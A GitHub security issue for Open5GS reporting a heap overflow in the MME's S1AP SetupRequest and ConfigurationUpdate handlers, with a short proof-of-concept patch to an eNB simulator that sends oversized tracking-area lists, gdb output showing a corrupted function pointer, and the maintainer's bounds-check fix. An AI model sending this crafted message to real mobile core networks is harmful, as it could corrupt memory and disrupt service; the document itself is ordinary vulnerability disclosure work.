Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Bug]: Heap overflow in open5gs-mmed over s1ap interface, in SetupRequest and ConfigurationUpdate #3153

Closed
ghost opened this issue Apr 21, 2024 · 3 comments
Labels
Housekeeping:ToClose Issues reviewed and closed. Old requests, issues which are not bug, feature or documentation request type:bug Open5GS bug Type:Security Security issue

Comments

@ghost
Copy link

ghost commented Apr 21, 2024

Open5GS Release, Revision, or Tag

c0a520f

Steps to reproduce

  1. Start open5gs using build/tests/app/epc -c build/configs/volte.yaml
  2. Patch eNB to send a malicious s1ap message. The following patch crafts a malicious SetupRequest:
diff --git a/eNB_LOCAL.py b/eNB_LOCAL.py
index e334751..98e2421 100644
--- a/eNB_LOCAL.py
+++ b/eNB_LOCAL.py
@@ -46,8 +46,8 @@ except:



-PLMN = '12345'
-IMSI = PLMN + '1234567890'
+PLMN = '99970'
+IMSI = PLMN + '0000000001'
 IMEISV = '1234567890123456'
 IMEI = '123456789012347'
 APN = 'internet'
@@ -591,13 +591,18 @@ def https_res_ck_ik(server, rand, autn):
 #                                                    NON UE RELATED PROCEDURES:                                                      #
 ######################################################################################################################################

+plmns = []
+for _ in range(3):
+    plmns.append(return_plmn_s1ap('00101'))
+
 def S1SetupRequest(dic):

     IEs = []
     IEs.append({'id': 59, 'value': ('Global-ENB-ID', {'pLMNidentity': dic['ENB-PLMN'], 'eNB-ID' : ('macroENB-ID', (dic['ENB-ID'], 20))}), 'criticality': 'reject'})
     IEs.append({'id': 60, 'value': ('ENBname', dic['ENB-NAME']), 'criticality': 'ignore'})
     if dic['S1-TYPE'] == "4G" :
-        IEs.append({'id': 64, 'value': ('SupportedTAs', [{'tAC': dic['ENB-TAC1'], 'broadcastPLMNs': [dic['ENB-PLMN']]}, {'tAC': dic['ENB-TAC2'], 'broadcastPLMNs': [dic['ENB-PLMN']]}]), 'criticality': 'reject'})
+        IEs.append({'id': 64, 'value': ('SupportedTAs', [{'tAC': dic['ENB-TAC1'], 'broadcastPLMNs': [*plmns]} for _ in range(256)]), 'criticality': 'reject'})
     elif dic['S1-TYPE'] == "NBIOT":
         IEs.append({'id': 64, 'value': ('SupportedTAs', [{'tAC': dic['ENB-TAC-NBIOT'], 'broadcastPLMNs': [dic['ENB-PLMN']], 'iE-Extensions': [{'id':232, 'criticality': 'reject', 'extensionValue':('RAT-Type','nbiot')}]}]), 'criticality': 'reject'})
     elif dic['S1-TYPE'] == "BOTH":
  1. Start modified eNB, and send a SetupRequest using sudo python3 ./eNB_LOCAL.py -i 127.0.0.1 -m 127.0.0.2

Logs

No response

Expected behaviour

An assert shall be triggered

Observed Behaviour

No assert is triggered, and the mme_enb_t object is corrupted.

$ gdb -q -p `pidof open5gs-mmed`
..
Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
0x0000ffff90deb46c in __GI___sigtimedwait (set=set@entry=0xfffffe63be68, info=info@entry=0xfffffe63bda8, timeout=timeout@entry=0x0) at ../sysdeps/unix/sysv/linux/sigtimedwait.c:61
61      ../sysdeps/unix/sysv/linux/sigtimedwait.c: No such file or directory.
Breakpoint 1 at 0xaaaabef69250: file ../src/mme/s1ap-handler.c, line 199.
[Switching to Thread 0xffff1efdef00 (LWP 20348)]

Thread 38 "open5gs-mmed" hit Breakpoint 1, s1ap_handle_s1_setup_request (enb=0xffff9029b5a0, message=0xffff1efdc498) at ../src/mme/s1ap-handler.c:199
warning: Source file is more recent than executable.
199         if (maximum_number_of_enbs_is_reached()) {
(gdb) p enb.supported_ta_list
$1 = {{plmn_id = {mcc1 = 0 '\000', mcc2 = 0 '\000', mcc3 = 1 '\001', mnc1 = 15 '\017', mnc2 = 0 '\000', mnc3 = 1 '\001'}, tac = 1} <repeats 256 times>}
(gdb) p enb
$2 = (mme_enb_t *) 0xffff9029b5a0
(gdb) p *enb
$3 = {lnode = {prev = 0x0, next = 0x0}, sm = {init = 0xaaaabef66540 <s1ap_state_initial>, fini = 0xaaaabef66640 <s1ap_state_final>, state = 0xaaaabef66730 <s1ap_state_operational>}, enb_id = 1, plmn_id = {
    mcc1 = 1 '\001', mcc2 = 2 '\002', mcc3 = 3 '\003', mnc1 = 15 '\017', mnc2 = 4 '\004', mnc3 = 5 '\005'}, sctp = {type = 1, sock = 0xfffedc000bd0, addr = 0xfffedc000e70, poll = {read = 0xffff9032a0f0,
      write = 0x0}, write_queue = {prev = 0x0, next = 0x0}}, state = {s1_setup_success = false}, max_num_of_ostreams = 30, ostream_id = 0, num_of_supported_ta_list = 258, supported_ta_list = {{plmn_id = {
        mcc1 = 0 '\000', mcc2 = 0 '\000', mcc3 = 1 '\001', mnc1 = 15 '\017', mnc2 = 0 '\000', mnc3 = 1 '\001'}, tac = 1} <repeats 256 times>}, s1_reset_ack = 0x10f100000110f100, enb_ue_list = {prev = 0x1,
    next = 0x0}}
pwndbg> vmmap enb
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0xffff8edd4000     0xffff8ede4000 ---p    10000      0 [anon_ffff8edd4]
►   0xffff8ede4000     0xffff90650000 rw-p  186c000      0 [anon_ffff8ede4] +0x1517010
    0xffff90650000     0xffff90659000 r-xp     9000      0 /usr/lib/aarch64-linux-gnu/libffi.so.8.1.0

The value s1_reset_ack = 0x10f100000110f100 shall contain a function pointer, but has been corrupted.

The following patch will abort the process:

diff --git a/src/mme/s1ap-handler.c b/src/mme/s1ap-handler.c
index dff401ded..55a1f7e1b 100644
--- a/src/mme/s1ap-handler.c
+++ b/src/mme/s1ap-handler.c
@@ -178,6 +178,7 @@ void s1ap_handle_s1_setup_request(mme_enb_t *enb, ogs_s1ap_message_t *message)
                 SupportedTAs_Item->broadcastPLMNs.list.array[j];
             ogs_assert(pLMNidentity);

+           ogs_assert(enb->num_of_supported_ta_list < OGS_ARRAY_SIZE(enb->supported_ta_list));
             memcpy(&enb->supported_ta_list[enb->num_of_supported_ta_list].tac,
                     tAC->buf, sizeof(uint16_t));
             enb->supported_ta_list[enb->num_of_supported_ta_list].tac =
@@ -310,6 +311,7 @@ void s1ap_handle_enb_configuration_update(
                     SupportedTAs_Item->broadcastPLMNs.list.array[j];
                 ogs_assert(pLMNidentity);

+               ogs_assert(enb->num_of_supported_ta_list < OGS_ARRAY_SIZE(enb->supported_ta_list));
                 memcpy(&enb->supported_ta_list[
                         enb->num_of_supported_ta_list].tac,
                         tAC->buf, sizeof(uint16_t));

eNodeB/gNodeB

No response

UE Models and versions

No response

@ghost ghost added the triage Triage label for new issues and feature requests label Apr 21, 2024
@ghost
Copy link
Author

ghost commented Apr 21, 2024

The attached capture.pcap.gz contained the offending message in frame.number == 10.

acetcom added a commit that referenced this issue May 1, 2024
Assert shall be triggered if the mme_enb_t object is corrupted.

```
$ gdb -q -p `pidof open5gs-mmed`
..
Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
0x0000ffff90deb46c in __GI___sigtimedwait (set=set@entry=0xfffffe63be68, info=info@entry=0xfffffe63bda8, timeout=timeout@entry=0x0) at ../sysdeps/unix/sysv/linux/sigtimedwait.c:61
61      ../sysdeps/unix/sysv/linux/sigtimedwait.c: No such file or directory.
Breakpoint 1 at 0xaaaabef69250: file ../src/mme/s1ap-handler.c, line 199.
[Switching to Thread 0xffff1efdef00 (LWP 20348)]

Thread 38 "open5gs-mmed" hit Breakpoint 1, s1ap_handle_s1_setup_request (enb=0xffff9029b5a0, message=0xffff1efdc498) at ../src/mme/s1ap-handler.c:199
warning: Source file is more recent than executable.
199         if (maximum_number_of_enbs_is_reached()) {
(gdb) p enb.supported_ta_list
$1 = {{plmn_id = {mcc1 = 0 '\000', mcc2 = 0 '\000', mcc3 = 1 '\001', mnc1 = 15 '\017', mnc2 = 0 '\000', mnc3 = 1 '\001'}, tac = 1} <repeats 256 times>}
(gdb) p enb
$2 = (mme_enb_t *) 0xffff9029b5a0
(gdb) p *enb
$3 = {lnode = {prev = 0x0, next = 0x0}, sm = {init = 0xaaaabef66540 <s1ap_state_initial>, fini = 0xaaaabef66640 <s1ap_state_final>, state = 0xaaaabef66730 <s1ap_state_operational>}, enb_id = 1, plmn_id = {
    mcc1 = 1 '\001', mcc2 = 2 '\002', mcc3 = 3 '\003', mnc1 = 15 '\017', mnc2 = 4 '\004', mnc3 = 5 '\005'}, sctp = {type = 1, sock = 0xfffedc000bd0, addr = 0xfffedc000e70, poll = {read = 0xffff9032a0f0,
      write = 0x0}, write_queue = {prev = 0x0, next = 0x0}}, state = {s1_setup_success = false}, max_num_of_ostreams = 30, ostream_id = 0, num_of_supported_ta_list = 258, supported_ta_list = {{plmn_id = {
        mcc1 = 0 '\000', mcc2 = 0 '\000', mcc3 = 1 '\001', mnc1 = 15 '\017', mnc2 = 0 '\000', mnc3 = 1 '\001'}, tac = 1} <repeats 256 times>}, s1_reset_ack = 0x10f100000110f100, enb_ue_list = {prev = 0x1,
    next = 0x0}}
pwndbg> vmmap enb
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0xffff8edd4000     0xffff8ede4000 ---p    10000      0 [anon_ffff8edd4]
►   0xffff8ede4000     0xffff90650000 rw-p  186c000      0 [anon_ffff8ede4] +0x1517010
    0xffff90650000     0xffff90659000 r-xp     9000      0 /usr/lib/aarch64-linux-gnu/libffi.so.8.1.0
```

The value s1_reset_ack = 0x10f100000110f100 shall contain a function pointer, but has been corrupted.

The following patch will abort the process:

```diff
$ diff --git a/src/mme/s1ap-handler.c b/src/mme/s1ap-handler.c
index dff401ded..55a1f7e1b 100644
--- a/src/mme/s1ap-handler.c
+++ b/src/mme/s1ap-handler.c
@@ -178,6 +178,7 @@ void s1ap_handle_s1_setup_request(mme_enb_t *enb, ogs_s1ap_message_t *message)
                 SupportedTAs_Item->broadcastPLMNs.list.array[j];
             ogs_assert(pLMNidentity);

+           ogs_assert(enb->num_of_supported_ta_list < OGS_ARRAY_SIZE(enb->supported_ta_list));
             memcpy(&enb->supported_ta_list[enb->num_of_supported_ta_list].tac,
                     tAC->buf, sizeof(uint16_t));
             enb->supported_ta_list[enb->num_of_supported_ta_list].tac =
@@ -310,6 +311,7 @@ void s1ap_handle_enb_configuration_update(
                     SupportedTAs_Item->broadcastPLMNs.list.array[j];
                 ogs_assert(pLMNidentity);

+               ogs_assert(enb->num_of_supported_ta_list < OGS_ARRAY_SIZE(enb->supported_ta_list));
                 memcpy(&enb->supported_ta_list[
                         enb->num_of_supported_ta_list].tac,
                         tAC->buf, sizeof(uint16_t));
```
acetcom added a commit that referenced this issue May 1, 2024
Assert shall be triggered if the mme_enb_t object is corrupted.

```
$ gdb -q -p `pidof open5gs-mmed`
..
Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
0x0000ffff90deb46c in __GI___sigtimedwait (set=set@entry=0xfffffe63be68, info=info@entry=0xfffffe63bda8, timeout=timeout@entry=0x0) at ../sysdeps/unix/sysv/linux/sigtimedwait.c:61
61      ../sysdeps/unix/sysv/linux/sigtimedwait.c: No such file or directory.
Breakpoint 1 at 0xaaaabef69250: file ../src/mme/s1ap-handler.c, line 199.
[Switching to Thread 0xffff1efdef00 (LWP 20348)]

Thread 38 "open5gs-mmed" hit Breakpoint 1, s1ap_handle_s1_setup_request (enb=0xffff9029b5a0, message=0xffff1efdc498) at ../src/mme/s1ap-handler.c:199
warning: Source file is more recent than executable.
199         if (maximum_number_of_enbs_is_reached()) {
(gdb) p enb.supported_ta_list
$1 = {{plmn_id = {mcc1 = 0 '\000', mcc2 = 0 '\000', mcc3 = 1 '\001', mnc1 = 15 '\017', mnc2 = 0 '\000', mnc3 = 1 '\001'}, tac = 1} <repeats 256 times>}
(gdb) p enb
$2 = (mme_enb_t *) 0xffff9029b5a0
(gdb) p *enb
$3 = {lnode = {prev = 0x0, next = 0x0}, sm = {init = 0xaaaabef66540 <s1ap_state_initial>, fini = 0xaaaabef66640 <s1ap_state_final>, state = 0xaaaabef66730 <s1ap_state_operational>}, enb_id = 1, plmn_id = {
    mcc1 = 1 '\001', mcc2 = 2 '\002', mcc3 = 3 '\003', mnc1 = 15 '\017', mnc2 = 4 '\004', mnc3 = 5 '\005'}, sctp = {type = 1, sock = 0xfffedc000bd0, addr = 0xfffedc000e70, poll = {read = 0xffff9032a0f0,
      write = 0x0}, write_queue = {prev = 0x0, next = 0x0}}, state = {s1_setup_success = false}, max_num_of_ostreams = 30, ostream_id = 0, num_of_supported_ta_list = 258, supported_ta_list = {{plmn_id = {
        mcc1 = 0 '\000', mcc2 = 0 '\000', mcc3 = 1 '\001', mnc1 = 15 '\017', mnc2 = 0 '\000', mnc3 = 1 '\001'}, tac = 1} <repeats 256 times>}, s1_reset_ack = 0x10f100000110f100, enb_ue_list = {prev = 0x1,
    next = 0x0}}
pwndbg> vmmap enb
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0xffff8edd4000     0xffff8ede4000 ---p    10000      0 [anon_ffff8edd4]
►   0xffff8ede4000     0xffff90650000 rw-p  186c000      0 [anon_ffff8ede4] +0x1517010
    0xffff90650000     0xffff90659000 r-xp     9000      0 /usr/lib/aarch64-linux-gnu/libffi.so.8.1.0
```

The value s1_reset_ack = 0x10f100000110f100 shall contain a function pointer, but has been corrupted.

The following patch will abort the process:

```diff
$ diff --git a/src/mme/s1ap-handler.c b/src/mme/s1ap-handler.c
index dff401ded..55a1f7e1b 100644
--- a/src/mme/s1ap-handler.c
+++ b/src/mme/s1ap-handler.c
@@ -178,6 +178,7 @@ void s1ap_handle_s1_setup_request(mme_enb_t *enb, ogs_s1ap_message_t *message)
                 SupportedTAs_Item->broadcastPLMNs.list.array[j];
             ogs_assert(pLMNidentity);

+           ogs_assert(enb->num_of_supported_ta_list < OGS_ARRAY_SIZE(enb->supported_ta_list));
             memcpy(&enb->supported_ta_list[enb->num_of_supported_ta_list].tac,
                     tAC->buf, sizeof(uint16_t));
             enb->supported_ta_list[enb->num_of_supported_ta_list].tac =
@@ -310,6 +311,7 @@ void s1ap_handle_enb_configuration_update(
                     SupportedTAs_Item->broadcastPLMNs.list.array[j];
                 ogs_assert(pLMNidentity);

+               ogs_assert(enb->num_of_supported_ta_list < OGS_ARRAY_SIZE(enb->supported_ta_list));
                 memcpy(&enb->supported_ta_list[
                         enb->num_of_supported_ta_list].tac,
                         tAC->buf, sizeof(uint16_t));
```
@acetcom
Copy link
Member

acetcom commented May 1, 2024

@p1-gte

I've fixed it.

Thank s a lot!
Sukchan

@acetcom acetcom added type:bug Open5GS bug Type:Security Security issue Housekeeping:ToClose Issues reviewed and closed. Old requests, issues which are not bug, feature or documentation request and removed triage Triage label for new issues and feature requests labels May 1, 2024
Copy link

This issue has been closed automatically due to lack of activity. This has been done to try and reduce the amount of noise. Please do not comment any further. The Open5GS Team may choose to re-open this issue if necessary.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Housekeeping:ToClose Issues reviewed and closed. Old requests, issues which are not bug, feature or documentation request type:bug Open5GS bug Type:Security Security issue
Projects
None yet
Development

No branches or pull requests

1 participant